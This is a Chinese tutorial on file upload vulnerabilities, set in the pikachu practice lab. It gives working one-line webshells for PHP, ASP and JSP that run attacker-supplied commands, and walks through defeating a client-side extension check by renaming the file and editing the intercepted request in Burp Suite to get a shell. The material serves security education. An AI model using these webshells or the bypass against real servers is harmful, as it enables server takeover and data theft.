文件上传漏洞(File Upload Vulnerability)是网络安全中的一种常见漏洞,攻击者可以通过此漏洞将恶意文件上传到服务器,从而执行任意代码、覆盖重要文件、或进行其他恶意操作。这种漏洞可能带来严重的安全风险,包括数据泄露、系统入侵、甚至完全控制服务器。
文件上传漏洞的危害
①代码执行:攻击者可以上传包含恶意代码的脚本文件,如PHP、ASP、JSP等,直接在服务器上执行。 ②文件覆盖:上传文件可能覆盖现有的合法文件,导致网站功能受损或被篡改。 ③数据泄露:恶意文件可能包含脚本,读取服务器上的敏感信息并发送给攻击者。 ④跨站脚本攻击(XSS):上传的文件可能包含恶意脚本,当其他用户访问该文件时,触发跨站脚本攻击。
文件上传漏洞常见的出现场景
1.头像上传功能:
许多网站允许用户上传头像或个人资料图片。如果没有严格的文件类型和内容检查,攻击者可以上传恶意脚本文件伪装成图片文件。
2.文件共享和存储服务:
各种文件共享平台或云存储服务允许用户上传和共享文件。如果没有有效的安全措施,攻击者可以上传恶意文件,伪装成合法文件,诱使其他用户下载和执行。
3.内容管理系统(CMS):
CMS系统(如WordPress、Joomla、Drupal等)通常允许用户上传图片、视频、文档等多种类型的文件。如果上传功能存在漏洞,攻击者可以利用它们上传恶意代码。
4.博客和论坛平台:
这些平台通常允许用户上传附件(如图片、文档等)来支持他们的帖子和评论。如果没有严格的验证和过滤机制,攻击者可以上传恶意文件。
5.电子邮件附件上传:
许多邮件系统允许用户上传附件并发送邮件。如果没有正确的安全检查,攻击者可以上传恶意附件,目标用户一旦下载和打开就可能受到攻击。
6.在线文件转换服务:
这些服务允许用户上传文件并将其转换为其他格式。如果服务没有适当的安全措施,攻击者可以上传恶意文件,利用转换过程中的漏洞进行攻击。
基本上存在文件上传功能点的页面就可能存在文件上传漏洞
示例
在此处我们也是使用pikachu
靶场来进行演示,打开靶场中文件上传漏洞相关页面,可以发现此处有上传图片的功能点:
这个时候我们可以尝试上传一个php一句话木马进去(具体传什么类型的木马要根据环境决定,如果是asp环境就传入asp木马、jsp就传jsp木马等等)
php木马:
php
<?php @eval($_POST['cmd']); ?>
<?php ... ?>
: PHP的起始和结束标记,表示在其中包含的是PHP代码。
@
: 错误控制运算符,抑制错误消息的输出。即使代码中出现错误,也不会显示给用户。
eval()
: 一个PHP函数,将传递给它的字符串作为PHP代码执行。它非常危险,因为它可以执行任何PHP代码。
$_POST['cmd']
: 从HTTP POST请求中获取名为cmd
的参数值。
asp木马:
php
<% eval request("cmd") %>
<% ... %>
:ASP的起始和结束标记,表示在其中包含的是ASP代码。
eval
:一个ASP函数,将传递给它的字符串作为代码执行。与PHP中的eval()
函数类似,它非常危险,因为它可以执行任何代码。
request("cmd")
:从HTTP请求(GET或POST)中获取名为cmd
的参数值。
jsp木马:
php
<%
if (request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
java.io.InputStream in = p.getInputStream();
int a = -1;
while((a=in.read())!=-1){
out.print((char)a);
}
}
%>
因为此时pikachu所用的后端为php,那么此时我们就可以上传一个php一句话木马进行尝试;可是当我们将选择php木马文件尝试进行上传后页面则弹出窗口:
可以看到此时页面进行弹窗说明此次木马上传被某种不知名的力量阻断了,那么这个时候我们首先要判断这股力量是存在于客户端(浏览器)中或者是存在于服务端中,此时可以通过burpsuite进行抓包,因为在这边我们需要定位这股力量是存在于前端还是存在于后端;在这边我们打开Burpsuite的Intercept功能进行数据包拦截;
这个时候我们再次进行php木马上传,这个时候发现拦截窗口已经弹出,但是Burpsuite中并没有拦截到对应的数据包;
这就说明我们的请求上传的数据包在前端就已经被过滤掉了;这个时候我们可以使用一张图片来进行当前情况的说明:
这个时候我们就可以对前端代码(页面中按下ctrl+u)进行审查;果然在网页代码中发现了对应的过滤代码:
javascript
<script>
function checkFileExt(filename)
{
var flag = false; //状态
var arr = ["jpg","png","gif"];
//取出上传文件的扩展名
var index = filename.lastIndexOf(".");
var ext = filename.substr(index+1);
//比较
for(var i=0;i<arr.length;i++)
{
if(ext == arr[i])
{
flag = true; //一旦找到合适的,立即退出循环
break;
}
}
//条件判断
if(!flag)
{
alert("上传的文件不符合要求,请重新选择!");
location.reload(true);
}
}
</script>
function checkFileExt(filename) : 定义一个名为checkFileExt
的函数,接收一个参数filename
,表示上传文件的名称。
var flag = false; : 定义一个布尔变量flag
,初始化为false
,表示文件扩展名是否有效的状态。
var arr = ["jpg","png","gif"]; : 定义一个数组arr
,包含允许的文件扩展名。
var index = filename.lastIndexOf("."); : 获取文件名中最后一个.
的索引位置。
var ext = filename.substr(index+1); : 从最后一个.
的位置开始截取字符串,获取文件的扩展名。
for(var i=0;i<arr.length;i++) : 遍历数组arr
。
if(ext == arr[i]) : 检查文件扩展名ext
是否在数组arr
中。
flag = true; : 如果找到了匹配的扩展名,将flag
设置为true
。
break;: 找到匹配的扩展名后,立即退出循环。
if(!flag) : 如果flag
仍然为false
,表示文件扩展名不在允许的列表中。
alert("上传的文件不符合要求,请重新选择!");: 弹出一个警告框,提示用户上传的文件不符合要求。
location.reload(true);: 重新加载当前页面。
总结:
这段代码的主要功能是通过检查文件扩展名,确保用户上传的文件符合预期(["jpg","png","gif"];)的格式要求。如果文件的扩展名不在允许的列表中,用户将看到一个警告消息,并且页面会重新加载。
绕过前端过滤的方式
这个时候我们可以先将上传的木马程序后缀名修改为"jpg","png","gif"其中的一个进行上传;这个时候我们就可以顺利抓到包了;
接着我们可以将数据包中的filename字段(传输文件名数据)修改为php后缀,接着放行数据包;
这个时候发现文件上传成功,且回显了当前文件在服务端中的相对路径。
这个时候我们就可以通过蚁剑等工具进行连接Get Shell了。